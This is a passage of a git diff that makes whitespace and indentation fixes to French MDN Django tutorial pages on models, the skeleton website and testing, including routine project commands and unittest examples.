pas Django, lorsque vous souhaitez détailler le contenu d'un objet.""" - return reverse('book-detail', args=[str(self.id)]) + def get_absolute_url(self): + """Cette fonction est requise pas Django, lorsque vous souhaitez détailler le contenu d'un objet.""" + return reverse('book-detail', args=[str(self.id)]) ``` Le genre littéraire est une relation n à n (`ManyToManyField`) car un livre peut avoir plusieurs genres et inversement. Bien que des livres soient écrits à plusieurs, dans le modèle de données présent un livre n'aura qu'un et un seul auteur. Un auteur est donc vu comme une clé étrangère `(ForeignKey`) de telle sorte qu'un livre n'a qu'un seul auteur et une auteur peut avoir écrit plusieurs livres. -La modélisation des relations entre les objets, c'est le cas pour les deux champs décrits à l'instant, nécessite de manipuler les classes d'objet par leur nom de classe. Vous devez déclarer l'objet par son de classe dans la déclaration de la relation entre les objets, si celui-ci a déjà été déclaré vous pouvez l'utiliser comme un nom d'objet - à l'identique d'une variable Python - ou comme une chaîne de caractère si l'objet n'a pas déjà fait l'objet d'un déclaration. les autres paramètres dans la déclaration des relations permettent de spécifier les comportement des attributs : l'option `null` positionné à `True` permet d'avoir un contenu vide en base de données, la second option `on_delete=models.SET_NULL` qualifie le fonctionnement de cet attribut si l'objet est supprimé en base de données, en l'occurence il peut être positionné à vide en base de données. +La modélisation des relations entre les objets, c'est le cas pour les deux champs décrits à l'instant, nécessite de manipuler les classes d'objet par leur nom de classe. Vous devez déclarer l'objet par son de classe dans la déclaration de la relation entre les objets, si celui-ci a déjà été déclaré vous pouvez l'utiliser comme un nom d'objet - à l'identique d'une variable Python - ou comme une chaîne de caractère si l'objet n'a pas déjà fait l'objet d'un déclaration. les autres paramètres dans la déclaration des relations permettent de spécifier les comportement des attributs : l'option `null` positionné à `True` permet d'avoir un contenu vide en base de données, la second option `on_delete=models.SET_NULL` qualifie le fonctionnement de cet attribut si l'objet est supprimé en base de données, en l'occurence il peut être positionné à vide en base de données. -Deux méthodes sont déclarées pour cet objet. La méthode `__str__()` obligatoirement requise par Django pour manipuler les instances d'objet et les enregistrements associés en base. La seconde méthode, `get_absolute_url()`, retourne une URL formatée qui peut être utilisée par le cadriciel pour délivrer le détail de chaque instance d'objet de la classe. Le routage d'URL sera associé au nom `book-detail`, et nous aurons à définir une vue et un gabarit. +Deux méthodes sont déclarées pour cet objet. La méthode `__str__()` obligatoirement requise par Django pour manipuler les instances d'objet et les enregistrements associés en base. La seconde méthode, `get_absolute_url()`, retourne une URL formatée qui peut être utilisée par le cadriciel pour délivrer le détail de chaque instance d'objet de la classe. Le routage d'URL sera associé au nom `book-detail`, et nous aurons à définir une vue et un gabarit. ### L'objet BookInstance @@ -368,7 +368,7 @@ class BookInstance(models.Model): De nouveaux types de champs sont utilisés : - Le type `UUIDField` est utilisé pour traiter d'un identifiant unique de livre comme clé primaire. Ce type de champ permet de générer un identifiant unique pour enregistrer et suivre chacune des copies de chacun des livres. -- Le type `DateField` est utilisé pour enregistrer la date de retour d'un prêt. Ce champ peut-être vide pour gérer le cas des livres dans les rayonnages c'est-à-dire disponibles pour un prêt. Il est fait appel à la classe `Meta` pour permettre de classer les requêtes sur les objet par date de retr +- Le type `DateField` est utilisé pour enregistrer la date de retour d'un prêt. Ce champ peut-être vide pour gérer le cas des livres dans les rayonnages c'est-à-dire disponibles pour un prêt. Il est fait appel à la classe `Meta` pour permettre de classer les requêtes sur les objet par date de retr - our. - Le champ `status` est un type connu (`CharField`) qui définit une liste de choix. Les choix sont définis dans la description de l'objet par l'usage de tuples (une paire clé-valeur) et transmis en option dans la déclaration du champs. Alors que l'utilisateur manipulera les valeurs, les clés seront enregistrées dans la base de données. Enfin, la valeur par défaut est la Maintenance car lorsqu'un ouvrage est créé il n'est pas immédiatement disponible au prêt et n'est pas directement positionné en rayon. diff --git a/files/fr/learn/server-side/django/skeleton_website/index.md b/files/fr/learn/server-side/django/skeleton_website/index.md index 24d0ecf3ef..c818f04939 100644 --- a/files/fr/learn/server-side/django/skeleton_website/index.md +++ b/files/fr/learn/server-side/django/skeleton_website/index.md @@ -59,8 +59,8 @@ Pour [le site web "Bibliothèque locale"](/fr/docs/Learn/Server-side/Django/Tuto ```bash locallibrary/ # Website folder - manage.py # Script to run Django tools for this project (created using django-admin) - locallibrary/ # Website/project folder (created using django-admin) + manage.py # Script to run Django tools for this project (created using django-admin) + locallibrary/ # Website/project folder (created using django-admin) catalog/ # Application folder (created using manage.py) ``` @@ -77,7 +77,7 @@ mkdir django_projects cd django_projects ``` -Pour créer un nouveau projet avec le quadriciel Django, il suffit d'utiliser la commande `django-admin startproject`. Le résultat de cette commande sera un sous-dossier du nom du projet dans lequel il suffit de s'y déplacer comme indiqué ci-dessous : +Pour créer un nouveau projet avec le quadriciel Django, il suffit d'utiliser la commande `django-admin startproject`. Le résultat de cette commande sera un sous-dossier du nom du projet dans lequel il suffit de s'y déplacer comme indiqué ci-dessous : ```bash django-admin startproject locallibrary @@ -88,12 +88,12 @@ La commande `django-admin` crée une arboresence contenant des fichiers et un so ```bash locallibrary/ - manage.py - locallibrary/ + manage.py + locallibrary/ __init__.py - settings.py - urls.py - wsgi.py + settings.py + urls.py + wsgi.py ``` Votre répertoire de travail est de la forme : @@ -117,11 +117,11 @@ La commande ci-dessous va créer l'application _catalog_. Vous devez être dans python3 manage.py startapp catalog ``` -> **Note :** La commande ci-dessus est exécutée dans un environnement Linux/macOS X. Sous Windows, il se peut que la commande soit : `py -3 manage.py startapp catalog` +> **Note :** La commande ci-dessus est exécutée dans un environnement Linux/macOS X. Sous Windows, il se peut que la commande soit : `py -3 manage.py startapp catalog` > > Si vous travaillez dans un environnement Windows, l'ensemble de la série didactique est écrite pour un environnement Linux/MacOS. Pensez, alors, à remplacer les commandes `python3` par `py -3`. > -> Si vous utilisez une version postérieure à la version 3.7.0, la commande devrait désormais être `py manage.py startapp catalog` +> Si vous utilisez une version postérieure à la version 3.7.0, la commande devrait désormais être `py manage.py startapp catalog` Cet outil crée un nouveau dossier, du nom de l'application, et le peuple de fichiers essentiels. La plupart des fichiers ont des noms caractéristiques de leur fonction dans le fonctionnement de Django (par exemple, les vues sont traitées dans **views.py**, le modèle de données dans **models.py**, etc.). Ces fichiers contiennent les éléments minimaux nécessaires à leur utilisation dans le projet. @@ -129,16 +129,16 @@ Le dossier projet _locallibrary_ est agrémenté d'un nouveau sous-dossier _cata ```bash locallibrary/ - manage.py - locallibrary/ - catalog/ - admin.py - apps.py - models.py - tests.py - views.py - __init__.py - migrations/ + manage.py + locallibrary/ + catalog/ + admin.py + apps.py + models.py + tests.py + views.py + __init__.py + migrations/ ``` A ceci s'ajoute : @@ -174,7 +174,7 @@ Le nouvel enregistrement défini l'objet pour cette nouvelle application avec le Dès à présent, la base de données doit être décrite. Il est souvent recommandé pour minimiser une transition délicate d'utiliser la même base de données en développement et en production. La documentation concernant les [bases de données](https://docs.djangoproject.com/fr/2.2/ref/settings/#databases) prises en charge sont bien décrites sur le site du projet Django. -Le système de gestion de base de données (SGBD) SQLite sera utilisé dans le projet de cette série didactique ; nous n'aurons pas d'accès concurents massifs et ce système ne requiert pas de paramétrages complémentaires. Ci-dessous la définition dans **settings.py** est nécessaire pour utiliser ce SGBD : +Le système de gestion de base de données (SGBD) SQLite sera utilisé dans le projet de cette série didactique ; nous n'aurons pas d'accès concurents massifs et ce système ne requiert pas de paramétrages complémentaires. Ci-dessous la définition dans **settings.py** est nécessaire pour utiliser ce SGBD : ```python DATABASES = { @@ -202,29 +202,29 @@ Il y a deux paramètres à connaître, même s'il ne seront pas modifiés pour l La création du site web s'appuie sur un routage d'URL et une gestion de la cartographie des URLs dans le fichier **urls.py**) présent dans le dossier du projet. Même si vous pouvez directement utiliser ce fichier pour gérer le routage des URLs, il est recommandé d'utiliser un mécanisme de subsidiarité avec une gestion d'URLs par application. En outre cette méthode de délégation permet une meilleure poratbilité de vos développements dans vos différents projets. -A l'ouverture du fichier **locallibrary/locallibrary/urls.py**, vous pouvez remarquer les premières instructions sur la manière de gérer la cartographie des URLs. +A l'ouverture du fichier **locallibrary/locallibrary/urls.py**, vous pouvez remarquer les premières instructions sur la manière de gérer la cartographie des URLs. ```python """locallibrary URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: - https://docs.djangoproject.com/en/2.1/topics/http/urls/ + https://docs.djangoproject.com/en/2.1/topics/http/urls/ Examples: Function views - 1. Add an import: from my_app import views - 2. Add a URL to urlpatterns: path('', views.home, name='home') + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views - 1. Add an import: from other_app.views import Home - 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf - 1. Import the include() function: from django.urls import include, path - 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path urlpatterns = [ - path('admin/', admin.site.urls), + path('admin/', admin.site.urls), ] ``` @@ -232,7 +232,7 @@ Le routage des URLs est géré à l'aide de la variable `urlpatterns`. Elle cons > **Note :** Dans la fonction `path()`, une route est une chaîne de caractères définissant une URL ou un motif d'URL. Cette chaîne peut inclure des variables nommées (entre < et >, par exemple `'catalog/<id>/'`). Ce motif correspondra à une URL du type **/catalog/*des_caractères*/**. La chaîne *des_caractères* sera transmis à la vue comme une chaîne de caractère associée à une variable nommée `id`. Ce point sera vu en détails plus loin dans la série didactique. -Ajoutez les lignes ci-dessous à la fin du fichier de manière à ajouter dans la variable `urlpatterns` une nouvelle entrée à la liste des routes. Cette nouvelle entrée permet une nouvelle route pour `catalog/` dont la gestion est déléguée au fichier **urls.py** du module **catalog** (c'est-à-dire le fichier **catalog/urls.py**). +Ajoutez les lignes ci-dessous à la fin du fichier de manière à ajouter dans la variable `urlpatterns` une nouvelle entrée à la liste des routes. Cette nouvelle entrée permet une nouvelle route pour `catalog/` dont la gestion est déléguée au fichier **urls.py** du module **catalog** (c'est-à-dire le fichier **catalog/urls.py**). ```python # Use include() to add paths from the catalog application @@ -240,7 +240,7 @@ from django.urls import include from django.urls import path urlpatterns += [ - path('catalog/', include('catalog.urls')), + path('catalog/', include('catalog.urls')), ] ``` @@ -252,7 +252,7 @@ Ajoutez les lignes ci-dessous au bas du fichier **urls.py** : #Add URL maps to redirect the base URL to our application from django.views.generic import RedirectView urlpatterns += [ - path('', RedirectView.as_view(url='/catalog/', permanent=True)), + path('', RedirectView.as_view(url='/catalog/', permanent=True)), ] ``` @@ -281,8 +281,8 @@ Ajoutez les lignes ci-dessous au bas du fichier **urls.py** : > > ```python > urlpatterns = [ -> path('admin/', admin.site.urls), -> path('catalog/', include('catalog.urls')), +> path('admin/', admin.site.urls), +> path('catalog/', include('catalog.urls')), > path('', RedirectView.as_view(url='/catalog/')), > ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) > ``` @@ -329,7 +329,7 @@ L'option `migrate` applique les modifications sur la base de données (Django tr Pendant la phase de développement, vous pouvez tester votre serveur sur un mode local et le consulter avec votre navigateur. -> **Note :** Le serveur local n'est ni robuste ni performant, il n'est donc pas fait pour être utilisé en production, mais il permet d'être autonome pour les travaux de développement. La configuration par défaut de ce serveur est telle que votre site est accessible à l'URL `http://127.0.0.1:8000/`. Cependant, vous pouvez modifier ces paramètres et pour plus d'information vous pouvez consulter la documentation sur le site Django des commandes [django-admin and manage.py: runserver](https://docs.djangoproject.com/fr/2.2/ref/django-admin/#runserver). +> **Note :** Le serveur local n'est ni robuste ni performant, il n'est donc pas fait pour être utilisé en production, mais il permet d'être autonome pour les travaux de développement. La configuration par défaut de ce serveur est telle que votre site est accessible à l'URL `http://127.0.0.1:8000/`. Cependant, vous pouvez modifier ces paramètres et pour plus d'information vous pouvez consulter la documentation sur le site Django des commandes [django-admin and manage.py: runserver](https://docs.djangoproject.com/fr/2.2/ref/django-admin/#runserver). Pour démarrer le serveur local, il suffit d'exécuter la commande ci-dessous dans le répertoire du projet (dossier où se trouver **manage.py**) : @@ -371,7 +371,7 @@ Maintenant que ceci est fait, [le site web Local Library](/fr/docs/Learn/Server- ## A voir aussi... -- [Écriture de votre première application Django, 1ère partie](https://docs.djangoproject.com/fr/2.2/intro/tutorial01/) (Django docs) +- [Écriture de votre première application Django, 1ère partie](https://docs.djangoproject.com/fr/2.2/intro/tutorial01/) (Django docs) - [Applications](https://docs.djangoproject.com/fr/2.2/ref/applications/#configuring-applications) (Django Docs). Contains information on configuring applications. {{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}} diff --git a/files/fr/learn/server-side/django/testing/index.md b/files/fr/learn/server-side/django/testing/index.md index f1fbaa6eea..e83217446a 100644 --- a/files/fr/learn/server-side/django/testing/index.md +++ b/files/fr/learn/server-side/django/testing/index.md @@ -67,23 +67,23 @@ Tester un site web est une tâche complexe, car c'est une opération qui comport Django fournit un framework de test avec une petite hiérarchie de classes construites sur la librairie standard de Python [`unittest`](https://docs.python.org/3/library/unittest.html#module-unittest "(in Python v3.5)"). Malgré son nom, ce framework de test est utilisable pour les tests unitaires aussi bien que pour les tests d'intégration. Le framework Django ajoute les méthodes et les outils d'une API pour aider à tester un site web et les comportements spécifiques à Django. Ces méthodes vous permettent de simuler des requêtes, d'insérer des données de test et d'inspecter la sortie de votre application. Django fournit aussi une API ([LiveServerTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#liveservertestcase)) et des outils pour [utiliser d'autres frameworks de test](https://docs.djangoproject.com/en/2.1/topics/testing/advanced/#other-testing-frameworks). Par exemple vous pouvez intégrer le célèbre framework [Selenium](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) pour simuler l'interaction entre un utilisateur et un vrai navigateur. -Pour écrire un test, vous partez de l'une des classes de test de base fournies par Django (ou par _unittest_) ([SimpleTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#simpletestcase), [TransactionTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#transactiontestcase), [TestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase), [LiveServerTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#liveservertestcase)), et ensuite vous écrivez des méthodes séparées pour vérifier que telle fonctionnalité se comporte comme prévu (les tests utilisent des méthodes "assert" pour vérifier qu'une expression retourne `True` ou `False`, ou que deux valeurs sont égales, etc.). Quant vous commencez à lancer un test, le framework exécute les méthodes de test écrites dans vos classes dérivées. Les méthodes de test sont lancées de manière indépendante, avec en commun un réglage initial (_setUp_) et/ou un comportement de fin (_tearDown_) définis dans la classe, comme indiqué ci-dessous. +Pour écrire un test, vous partez de l'une des classes de test de base fournies par Django (ou par _unittest_) ([SimpleTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#simpletestcase), [TransactionTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#transactiontestcase), [TestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase), [LiveServerTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#liveservertestcase)), et ensuite vous écrivez des méthodes séparées pour vérifier que telle fonctionnalité se comporte comme prévu (les tests utilisent des méthodes "assert" pour vérifier qu'une expression retourne `True` ou `False`, ou que deux valeurs sont égales, etc.). Quant vous commencez à lancer un test, le framework exécute les méthodes de test écrites dans vos classes dérivées. Les méthodes de test sont lancées de manière indépendante, avec en commun un réglage initial (_setUp_) et/ou un comportement de fin (_tearDown_) définis dans la classe, comme indiqué ci-dessous. ```python class YourTestClass(TestCase): - def setUp(self): - # Setup run before every test method. - pass + def setUp(self): + # Setup run before every test method. + pass - def tearDown(self): - # Clean up run after every test method. - pass + def tearDown(self): + # Clean up run after every test method. + pass - def test_something_that_will_pass(self): - self.assertFalse(False) + def test_something_that_will_pass(self): + self.assertFalse(False) - def test_something_that_will_fail(self): - self.assertTrue(False) + def test_something_that_will_fail(self): + self.assertTrue(False) ``` La meilleure classe de base pour la plupart des tests est [django.test.TestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase). Cette classe de test crée une base de données vide avant que ses tests ne soient lancés, et lance toutes les fonctions de test dans sa propre transaction. La classe possède aussi un [Client](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.Client "django.test.Client") de test, que vous pouvez utiliser pour simuler l'interaction entre un utilisateur et le code au niveau de la vue. Dans les sections suivantes, nous allons nous concentrer sur les tests unitaires, créés en utilisant la classe de base [TestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase). @@ -94,25 +94,25 @@ La meilleure classe de base pour la plupart des tests est [django.test.TestCase] Vous pouvez tester tous les aspects de votre code, mais non les librairies ou fonctionnalités faisant partie de Python ou de Django. -Ainsi par exemple, considérez le modèle `Author` défini ci-dessous. Vous n'avez pas besoin de tester explicitement que `first_name` et `last_name` ont été stockés correctement comme `CharField` dans la base de données, car c'est là quelque chose de défini par Django (cependant, bien sûr, vous allez inévitablement tester cette fonctionnalité pendant le développement). Vous n'avez pas non plus besoin de tester que `date_of_birth` a été validé comme champ date, car, encore une fois, cela est implémenté par Django. +Ainsi par exemple, considérez le modèle `Author` défini ci-dessous. Vous n'avez pas besoin de tester explicitement que `first_name` et `last_name` ont été stockés correctement comme `CharField` dans la base de données, car c'est là quelque chose de défini par Django (cependant, bien sûr, vous allez inévitablement tester cette fonctionnalité pendant le développement). Vous n'avez pas non plus besoin de tester que `date_of_birth` a été validé comme champ date, car, encore une fois, cela est implémenté par Django. En revanche, vous pouvez tester que les textes utilisés pour les labels (_First name, Last name, Date of birth, Died_), ainsi que le respect de la taille allouée au champ texte (100 caractères), car c'est là une partie de votre propre design et quelque chose qui pourrait être cassé/modifié dans le futur. ```python class Author(models.Model): - first_name = models.CharField(max_length=100) - last_name = models.CharField(max_length=100) - date_of_birth = models.DateField(null=True, blank=True) - date_of_death = models.DateField('Died', null=True, blank=True) + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) - def get_absolute_url(self): - return reverse('author-detail', args=[str(self.id)]) + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) - def __str__(self): - return '%s, %s' % (self.last_name, self.first_name) + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name) ``` -De même, vous pouvez tester que les méthodes personnalisées `get_absolute_url()` et `__str__()` se comportent comme prévu, car elles appartiennent à votre logique code/métier. Dans le cas de `get_absolute_url()`, vous pouvez supposer que la méthode Django `reverse()` a été implémentée correctement, aussi ce que vous allez tester, c'est que la vue associée a été effectivement définie. +De même, vous pouvez tester que les méthodes personnalisées `get_absolute_url()` et `__str__()` se comportent comme prévu, car elles appartiennent à votre logique code/métier. Dans le cas de `get_absolute_url()`, vous pouvez supposer que la méthode Django `reverse()` a été implémentée correctement, aussi ce que vous allez tester, c'est que la vue associée a été effectivement définie. > **Note :** Les lecteurs attentifs auront noté que nous pourrions aussi vouloir limiter les dates de naissance et de décès à des valeurs sensibles, et vérifier que le décès intervient après la naissance. En Django, cette contrainte est ajoutée à vos classes de formulaires (bien que vous puissiez définir des validateurs pour les champs du modèle et des validateurs de modèles, ceux-ci ne sont utilisés qu'au niveau du formulaire s'ils sont appelés par la méthode clean() du modèle. Cela requière un ModelForm ou bien la méthode clean() du modèle a besoin d'être appelée explicitement.) @@ -122,14 +122,14 @@ Avec cela en tête, commençons à voir comment définir et lancer des tests. Avant d'entrer dans le détail de "que tester", voyons d'abord brièvement _où_ et _comment_ les tests sont définis. -Django utilise le [built-in test discovery](https://docs.python.org/3/library/unittest.html#unittest-test-discovery "(in Python v3.5)") du module unittest, qui va chercher des tests, sous le répertoire de travail actuel, dans tous les fichiers dont le nom contient le pattern **test.py**. Du moment que vous nommez vos fichiers de manière appropriée, vous pouvez utiliser n'importe quelle structure. Nous vous recommandons de créer un module pour coder vos tests, et d'avoir des fichiers distincts pour les modèles, les vues, les formulaires et tout autre type de code que vous avez besoin de tester. Par exemple : +Django utilise le [built-in test discovery](https://docs.python.org/3/library/unittest.html#unittest-test-discovery "(in Python v3.5)") du module unittest, qui va chercher des tests, sous le répertoire de travail actuel, dans tous les fichiers dont le nom contient le pattern **test.py**. Du moment que vous nommez vos fichiers de manière appropriée, vous pouvez utiliser n'importe quelle structure. Nous vous recommandons de créer un module pour coder vos tests, et d'avoir des fichiers distincts pour les modèles, les vues, les formulaires et tout autre type de code que vous avez besoin de tester. Par exemple : catalog/ - /tests/ - __init__.py - test_models.py - test_forms.py - test_views.py + /tests/ + __init__.py + test_models.py + test_forms.py + test_views.py Créez une structure de fichier comme montré ci-dessus, dans votre projet _LocalLibrary_. Le ficheir **\_\_init\_\_.py** doit être vide (il dit simplement à Python que ce répertoire est un package). Vous pouvez créer les trois fichiers de test en copiant et renommant le fichier de test du squelette **/catalog/tests.py**. @@ -139,7 +139,7 @@ Créez une structure de fichier comme montré ci-dessus, dans votre projet _Loca Ouvrez le fichier **/catalog/tests/test_models.py**. Ce fichier doit importer `django.test.TestCase`, comme indiqué ci-après : -Open **/catalog/tests/test_models.py**. The file should import `django.test.TestCase`, as shown: +Open **/catalog/tests/test_models.py**. The file should import `django.test.TestCase`, as shown: ```python from django.test import TestCase @@ -153,26 +153,26 @@ Ajoutez la classe de test ci-dessous à la fin du fichier. La classe montre comm ```python class YourTestClass(TestCase): - @classmethod - def setUpTestData(cls): - print("setUpTestData: Run once to set up non-modified data for all class methods.") - pass - - def setUp(self): - print("setUp: Run once for every test method to setup clean data.") - pass - - def test_false_is_false(self): - print("Method: test_false_is_false.") - self.assertFalse(False) - - def test_false_is_true(self): - print("Method: test_false_is_true.") - self.assertTrue(False) - - def test_one_plus_one_equals_two(self): - print("Method: test_one_plus_one_equals_two.") - self.assertEqual(1 + 1, 2) + @classmethod + def setUpTestData(cls): + print("setUpTestData: Run once to set up non-modified data for all class methods.") + pass + + def setUp(self): + print("setUp: Run once for every test method to setup clean data.") + pass + + def test_false_is_false(self): + print("Method: test_false_is_false.") + self.assertFalse(False) + + def test_false_is_true(self): + print("Method: test_false_is_true.") + self.assertTrue(False) + + def test_one_plus_one_equals_two(self): + print("Method: test_one_plus_one_equals_two.") + self.assertEqual(1 + 1, 2) ``` La nouvelle classe définit deux méthodes que vous pouvez utiliser pour une configuration pré-test (par exemple, pour créer des modèles ou d'autres objets dont vous aurez besoin pour les tests) : @@ -180,11 +180,11 @@ La nouvelle classe définit deux méthodes que vous pouvez utiliser pour une con - `setUpTestData()` est appelée une fois au début du lancement des tests pour un réglage au niveau de la classe. Vous pouvez l'utiliser pour créer des objets qui ne sont pas destinés à être modifiés ou changés dans les méthodes de test. - `setUp()` est appelée avant chaque fonction de test pour définir des objets qui peuvent être modifiés par le test (chaque fonction de test obtiendra une version "fraîche" de ces objets). -> **Note :** Les classes de test ont aussi une méthode `tearDown()`, que nous n'avons pas utilisée. Cette méthode n'est pas particulièrement utile pour les tests avec bases de données, dans la mesure où la classe de base `TestCase` prend soin pour vous de supprimer la base de données utilisées pour les tests. +> **Note :** Les classes de test ont aussi une méthode `tearDown()`, que nous n'avons pas utilisée. Cette méthode n'est pas particulièrement utile pour les tests avec bases de données, dans la mesure où la classe de base `TestCase` prend soin pour vous de supprimer la base de données utilisées pour les tests. En dessous de ces méthodes, nous avons un certain nombre de méthodes de test, qui utilisent des fonctions `Assert`, pour tester si certaines conditions sont vraies, fausses ou égales (`AssertTrue`, `AssertFalse`, `AssertEqual`). Si la condition ne renvoie pas le résultat escompté, le test plante et renvoie une erreur à votre console. -Les méthodes `AssertTrue`, `AssertFalse` et `AssertEqual` sont des assertions standard fournies par **unittest**. Il y a d'autres assertions standard dans le framework, et aussi des [assertions spécifiques à Django](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#assertions), pour tester si une vue redirige (`assertRedirects`), pour tester si tel template a été utilisé (`assertTemplateUsed`), etc. +Les méthodes `AssertTrue`, `AssertFalse` et `AssertEqual` sont des assertions standard fournies par **unittest**. Il y a d'autres assertions standard dans le framework, et aussi des [assertions spécifiques à Django](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#assertions), pour tester si une vue redirige (`assertRedirects`), pour tester si tel template a été utilisé (`assertTemplateUsed`), etc. > **Note :** Normallement vous ne devriez **pas** inclure de fonctions **print()** dans vos tests, comme montré ci-dessus. Nous avons fait cela uniquement pour que vous puissiez voir dans la console (dans la section suivante) l'ordre dans lequel les fonctions de setup sont appelées. @@ -198,7 +198,7 @@ python3 manage.py test Cette commande va lancer la recherche de tous les fichiers ayant la forme **test.py** sous le répertoire courant, et lancer tous les tests définis, en utilisant les classes de base appropriées (ici nous avons un certain nombre de fichiers de test, mais pour le moment seul **/catalog/tests/test_models.py** contient des tests). Par défaut, chaque test ne fera de rapport qu'en cas d'échec, avec ensuite un résumé du test. -> **Note :** Si vous obtenez des erreurs telles que : `ValueError: Missing staticfiles manifest entry ...`, cela peut être dû au fait que le test ne lance pas *collectstatic* par défaut, et que votre application utilise une classe de storage qui le requiert (voyez [manifest_strict](https://docs.djangoproject.com/en/2.1/ref/contrib/staticfiles/#django.contrib.staticfiles.storage.ManifestStaticFilesStorage.manifest_strict) pour plus d'information). Il y a plusieurs façons de remédier à ce problème - la plus facile est de lancer tout simplement *collectstatic* avant de lancer les tests : +> **Note :** Si vous obtenez des erreurs telles que : `ValueError: Missing staticfiles manifest entry ...`, cela peut être dû au fait que le test ne lance pas *collectstatic* par défaut, et que votre application utilise une classe de storage qui le requiert (voyez [manifest_strict](https://docs.djangoproject.com/en/2.1/ref/contrib/staticfiles/#django.contrib.staticfiles.storage.ManifestStaticFilesStorage.manifest_strict) pour plus d'information). Il y a plusieurs façons de remédier à ce problème - la plus facile est de lancer tout simplement *collectstatic* avant de lancer les tests : > > ```bash > python3 manage.py collectstatic @@ -222,8 +222,8 @@ Method: test_one_plus_one_equals_two. FAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass) ---------------------------------------------------------------------- Traceback (most recent call last): - File "D:\Github\django_tmp\library_w_t_2\locallibrary\catalog\tests\tests_models.py", line 22, in test_false_is_true - self.assertTrue(False) + File "D:\Github\django_tmp\library_w_t_2\locallibrary\catalog\tests\tests_models.py", line 22, in test_false_is_true + self.assertTrue(False) AssertionError: False is not true ---------------------------------------------------------------------- @@ -233,11 +233,11 @@ FAILED (failures=1) Destroying test database for alias 'default'... ``` -Ici nous voyons que nous avons eu un échec pour un test, et nous pouvons voir exactement quelle fonction a planté et pourquoi (cet échec était prévu, car `False` n'est pas `True` !). +Ici nous voyons que nous avons eu un échec pour un test, et nous pouvons voir exactement quelle fonction a planté et pourquoi (cet échec était prévu, car `False` n'est pas `True` !). > **Note :** La chose la plus importante à apprendre de la sortie de test ci-dessus est qu'il est bien mieux d'utiliser des noms descriptifs/informatifs pour vos objets et méthodes. -Le texte en **gras** ci-dessus n'apparaîtra pas normalement dans la sortie de test (elle est générée par les fonctions `print()` dans nos tests). Cela montre comment la méthode `setUpTestData()` est appelée une fois pour l'ensemble de classe, tandis que `setUp()` est appelée avant chaque méthode. +Le texte en **gras** ci-dessus n'apparaîtra pas normalement dans la sortie de test (elle est générée par les fonctions `print()` dans nos tests). Cela montre comment la méthode `setUpTestData()` est appelée une fois pour l'ensemble de classe, tandis que `setUp()` est appelée avant chaque méthode. La section suivante mnotre comment vous pouvez lancer des test spécifiques, et comment contrôler la quantité d'information fournie par les tests. @@ -253,7 +253,7 @@ Les niveaux de verbosité sont 0, 1, 2 et 3, avec "1" comme valeur par défaut. ### Lancer des tests spécifiques -Si vous voulez lancer une sous-sélection parmi vos tests, vous pouvez le faire en spécifiant le chemin complet (avec des points) vers le ou les package(s), module, sous-classe de `TestCase` ou méthode : +Si vous voulez lancer une sous-sélection parmi vos tests, vous pouvez le faire en spécifiant le chemin complet (avec des points) vers le ou les package(s), module, sous-classe de `TestCase` ou méthode : ```bash # Run the specified module @@ -279,25 +279,25 @@ Maintenant que nous savons comment lancer nos tests et quel genre de choses nous Comme nous l'avons dit ci-dessus, nous devrions tester tout ce qui relève de notre design, ou tout ce qui est défini par du code que nous avons écrit nous-mêmes, mais pas les bibliothèques ou le code qui est déjà testé par Django ou par l'équipe qui développe Python. -Par exemple, considérez le modèle `Author` ci-dessous. Ici nous devrions tester les labels de tous les champs, car, bien que nous n'ayons pas explicitement spécifié la plupart d'entre eux, nous avons un design qui dit ce que ces valeurs devraient être. Si nous ne testons pas ces valeurs, nous ne savons pas que les labels des champs ont les valeurs souhaitées. De même, alors que nous sommes tranquilles sur le fait que Django créera un champ de la longueur indiquée, il est intéressant de lancer un test spécifique pour s'assurer qu'il a été implémenté comme prévu. +Par exemple, considérez le modèle `Author` ci-dessous. Ici nous devrions tester les labels de tous les champs, car, bien que nous n'ayons pas explicitement spécifié la plupart d'entre eux, nous avons un design qui dit ce que ces valeurs devraient être. Si nous ne testons pas ces valeurs, nous ne savons pas que les labels des champs ont les valeurs souhaitées. De même, alors que nous sommes tranquilles sur le fait que Django créera un champ de la longueur indiquée, il est intéressant de lancer un test spécifique pour s'assurer qu'il a été implémenté comme prévu. ```python class Author(models.Model): - first_name = models.CharField(max_length=100) - last_name = models.CharField(max_length=100) - date_of_birth = models.DateField(null=True, blank=True) - date_of_death = models.DateField('Died', null=True, blank=True) + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) - def get_absolute_url(self): - return reverse('author-detail', args=[str(self.id)]) + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) - def __str__(self): - return 